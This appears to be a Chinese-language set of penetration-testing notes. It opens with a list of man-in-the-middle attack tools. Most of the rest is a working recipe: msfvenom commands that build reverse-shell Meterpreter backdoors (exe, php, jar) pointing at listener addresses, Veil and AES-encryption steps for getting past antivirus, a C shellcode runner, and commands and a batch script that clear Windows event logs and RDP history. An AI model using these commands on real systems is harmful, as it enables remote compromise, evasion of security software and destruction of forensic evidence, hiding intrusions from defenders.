远程服务器的IP地址
DNS域名解析服务器
X.509证书服务器
证书是自签名证书吗?
证书是由信任的颁发机构颁发的吗?
证书是否已被吊销?
证书最近被更改过吗?
在互联网上的其他的客户端是否也得到了相同的证书?
其他的非加密中间人攻击
一个著名的非加密中间人攻击的例子是贝尔金无线路由器2003年的某一个版本所造成的。它会周期性地接管通过它的HTTP连接,阻止数据包到达目的地。并将它自己对请求的回应作为应答返回。而它发送的回应,则是在用户原本应该显示网页的地方,显示一个关于其他贝尔金产品的广告。在遭到了解技术详情的用户的强烈抗议后,这个功能被贝尔金从路由器后续版本的固件中删除。
另一个典型的非加密中间人攻击的例子是“图灵色情农场”。布赖恩·华纳说,这是垃圾邮件发送者用来绕过验证码的“可以想象的攻击”。垃圾邮件发送者设置了一个色情网站,而访问这个色情网站需要用户解决一些验证问题。这些验证问题实际上是其他网站的验证问题。这样就可以达到绕开网站验证发送垃圾邮件的目的。然而,Jeff Atwood指出,这次袭击仅仅是理论上的——没有任何证据指出垃圾邮件发送者曾经在2006年创建了图灵色情农场。然而,2007年10月有新闻报道称,垃圾邮件发送者确实创建了一个Windows游戏,当用户键入从雅虎收到的注册邮箱验证码后,程序将奖励用户色情图片。这将允许垃圾邮件发送者创建临时的免费电子邮件帐户以发送垃圾邮件。
中间人攻击实现工具
dsniff - 一个实现SSH和SSL中间人攻击的工具
Cain and Abel - Windows图形界面的工具,它可以执行中间人攻击,嗅探和ARP投毒
Ettercap - 一个基于局域网的中间人攻击工具
Karma - 一个使用802.11 Evil Twin以执行MITM攻击的工具
AirJack -一个演示802.11 MITM攻击的工具
SSLStrip一个基于SSL的MITM攻击的工具。
SSLSniff一个基于SSL的MITM攻击的工具。原本是利用一个在Internet Explorer上缺陷实现的。
csploit -一个在android系统上实现的MITM攻击工具包。
Mallory - 一个透明的TCP和UDP MiTMing代理。扩展到MITM SSL,SSH和许多其他协议。
wsniff - 一个802.11HTTP / HTTPS的基于MITM攻击的工具
安装在自动取款机银行卡插槽上的附加读卡器和安装在键盘上的附加密码记录器。
zanti-一款在android系统上的多功能网络渗透包。
规避杀软及检测
msf编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.80.129 LPORT=2213 -f exe > met-encoded.exe
尝试增加次数,进行多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ -i 10 LHOST=192.168.80.129 LPORT=2213 -f exe > met-encoded.exe
采用php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 x > backdoor.php
jar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f jar > backdoor.jar
使用veil加壳工具
安装veil
dpkg --add-architecture i386
apt-get update
apt-get install wine32
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.43.27
set LPORT 2209
generate
使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f c
编辑c文件shellcode.c
vim shellcode.c
输入上方生成的代码以及
int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
通过组合应用各种技术实现恶意代码免杀
使用python+aes_encrypt的方式
在veil/evasion中选择使用python/shellcode_inject/aes_encrypt.py,输入generate并选择第二项,然后只需要设置IP地址和端口,生成成功后对其进行检测,检测率为0!
操作如下:
打开veil,选择Evasion,输入list
选择结束之后,依次输入
use python/shellcode_inject/aes_encrypt.py
generate
2
(1)杀软如何检测出恶意代码
一般通过三种方式:基于特征码的检测;启发式恶意软件检测;基于行为的恶意软件检测
。
1.检测特征码
杀毒软件都有一套特征库,依靠检索程序代码和库中特征码是否吻合判断某段代码是否属于病毒。
2.启发式恶意软件检测
如果程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
3.基于行为检测
单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能
静态查杀(邮件类查杀一般是静态的)-->一般根据特征码识别到-->对文件进行特征匹配的思路
云查杀
行为查杀(也可以理解为动态查杀)-->对其产生的行为进行检测
可构建行为库进行动态查杀
可构建日志库对日志库进行动态查杀
统计学检测-->构建特征学习模型-->进行动态查获取就好了
(2)免杀是做什么
给木马或病毒程序增加伪装使杀毒软件对其不能做出识别或查杀
(3)免杀的基本方法
改变特征码——加壳、采取编码方式、用不同语言重写再编译
;改变行为——使用不同的通讯连接技术、基于内存操作而不是系统
;非常规方法——诱导目标关闭AV软件、利用有漏洞的应用
。
①捆绑-->文件捆绑,自解压捆绑,如exe类型的
②特征码混淆思路-->即混淆特征码进而绕过免杀
三种方式:
代码混淆
api钩子(函数混淆类)-->典型dll劫持类型-->即伪造一个dll文件,然后在调用dll文件的时候,先调用伪造的dll文件,在调用真实的dll文件,进而实现处理木马的操作。
溢出类型漏洞特点类
③白名单-->原理:杀毒软件对自己旗下的软件不检测导致
(4)开启杀软是否能绝对防止电脑中恶意代码
不能绝对防止,很多攻击方式,在杀毒软件暂时落后于攻击技术时,就漏洞百出,可以通过系统自带的漏洞进行攻击,利用0day漏洞进行恶意代码攻击杀毒软件基本无法防御。
痕迹清理
Windows日志清除
获取日志分类列表
wevtutil e1 > test.txt
wevtutil gli "windows powershell"
#获取单个日志类别的统计信息
查看指定日志具体内容
wevtutil ge /file.text "windows powershell"
删除单个日志类所有信息
wevtutil cl "windows powershell"
破坏windows日志记录功能
Invoke-Phant0m
Windows-EventLog-Bupass
#工具
msf
runclearlogs
clearev
3389登录记录清除
@echo off
@reg delete "HKTY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del %USERPROFILE%\MY Documents\Default.rdp" /a
@exit